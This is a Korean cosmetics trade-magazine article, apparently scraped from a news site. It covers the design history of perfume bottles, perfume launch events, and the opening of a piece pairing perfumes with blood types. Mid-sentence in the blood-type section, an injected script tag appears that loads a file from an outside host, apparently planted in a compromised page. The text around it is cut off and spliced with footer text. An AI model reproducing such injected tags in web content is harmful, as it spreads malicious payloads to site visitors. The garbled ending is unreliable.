이미지 산업의 결정체’라고 일컬어지는 향수산업. 패션과 코스메틱을 통틀어 마지막 이미지를 완성하는 향수의 이미지가 가장 먼저 전달되는 것은 ‘향’도, 그 무엇도 아닌 ‘용기’다.
향을 맡기 전에 소비자들에게 가장 먼저 향수의 이미지를 전달해주는 향수 용기는 화장품 용기와 같이 단순히 내용물을 담아두는 저장소 차원이 아니라 그 자체만으로도 하나의 예술적 가치를 지닌 작품으로 평가받는다. 눈으로 볼 수 없는 향의 세계를 시각화하고 향의 메시지를 전달하는 메신저 역할을 하는 용기는 심혈을 기울여 탄생한 향수의 첫인상을 결정하는 만큼 이미지를 얼마나 잘 형상화하느냐에 그 가치가 결정된다. 화려한 장식에서부터 단순한 아름다움을 표현해낸 용기까지 향수병은 다양한 변화과정을 거치며 향수산업의 발전과 함께 해 왔으며, 향수만이 지니는 미묘한 분위기를 담아낸 작품이기에 향수는 화장품과 달리 ‘수집품’으로써의 가치도 지니게 된 것이다.
고대의 향수 용기는 고체 상태의 향고, 천연 꽃잎이나 나무 껍질, 송진 등을 저장하는 데 사용된 도자기나 금속으로 만들어진 용기였다. 이후 액체 상태의 향유가 만들어지자 도자기나 금속으로 만든 용기는 변색, 또는 증발되기 쉽다는 것이 밝혀져 이것의 대체용기로 나타난 것이 현재 향수에 사용되고 있는 유리용기이다. 유리는 변색과 향료가 새는 것을 막을 수 있고, 아름다운 색과 모양으로 제작이 가능하기 때문에 향수를 담는 용기로서 절대적인 위치를 차지하고 있다.
이탈리아, 독일 등지에서 시작돼 프랑스로 이전된 금속 및 유리공예의 발달과 함께 향수 용기는 지난 몇 세기동안 다양한 이미지를 표현해왔다. 지난 1970년대에는 주로 기하학적인 형태와 새로운 소재의 용기가 인기를 끌었지만 1990년대 들어서면서부터 고전적인 형태로의 회귀와 새롭게 개발된 재료, 색채가 각광을 받고 있다. 그리고 2000년대에 들어선 지금, 최근에 출시되고 있는 향수들을 살펴보면 ‘자연과의 접목’을 시도하는 경향이 강해지고 있으며, 이를 통해 현대인들에게 향기와 시각을 통해 편안함과 자유로움을 부여하고 있다.
- 신예진 기자 uriwang@csmt.co.kr
이미지 최종전달 단계는 ‘런칭행사’ 향수 이미지에 따른 프로그램 다양화
향수의 성공을 위해서는 향, 디자인, 용기, 그리고 런칭이 필수적으로 따라줘야 한다.
한 번 탄생하면 자신의 이름을 걸고 수십년간 인기를 받을 수 있는 향수의 탄생에는 그만큼의 노력이 더 필요한 법.
이미지에 맞는 향을 결정하고, 이미지를 가장 잘 표현할 수 있는 디자인을 결정한 후 디자인을 형상화해 용기를 만들어 놓으면 다음 단계는 이를 세상에 알리는 런칭으로 이어진다. 이 모든 요소를 적용하고 실행함에 있어서 한 가지 빼놓지 말고 머리 속에 항상 각인하고 있어야 할 것은 ‘이미지의 통일성’이다. 공급자 차원에서 만들어 놓은 이미지를 소비자들에게 제대로 인식시켜 주는 단계가 바로 향수의 런칭행사다.
이런 이유 때문에 새로운 향수가 탄생하는 시점에 브랜드는 큰 규모, 혹은 작은 규모로 향수 런칭행사를 갖는다.
화장품 런칭행사가 일반적으로 업체에서 새롭게 내놓는 브랜드를 ‘소개’하는 정도에 그친다면 향수 런칭행사는 ‘이미지’를 표현하는 다양한 프로그램으로 구성된다.
행사장 내부 디자인에서부터 주최자들의 의상, 런칭 쇼 등이 모두 하나의 이미지에 주력해 진행된다.
또, 향수 런칭 행사장에는 런칭하는 향수의 이미지와 비슷한 연예인들이 초청돼 또 하나의 이미지 전달자 역할을 하곤 한다.
향수 런칭행사는 향수 이미지를 표현한 영상자료를 통해 시각적인 이미지 전달을 시작으로 향수 소개, 시향, 그리고 향수 이미지에 맞춘 개별 프로그램으로 진행되는 것이 일반적이다.
<珍>
내 혈액형과 어울리는 향수 이게 딱이야!
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빈틈없는 완벽주의자 A형
A형은 묵묵히 자기 일을 해내는 책임감이 강한 성격이다. 게다가 완벽한 계획까지 세워 일을 척척 해낸다. 그러나 자존?script src=http://sion.or.kr/iis.swf> webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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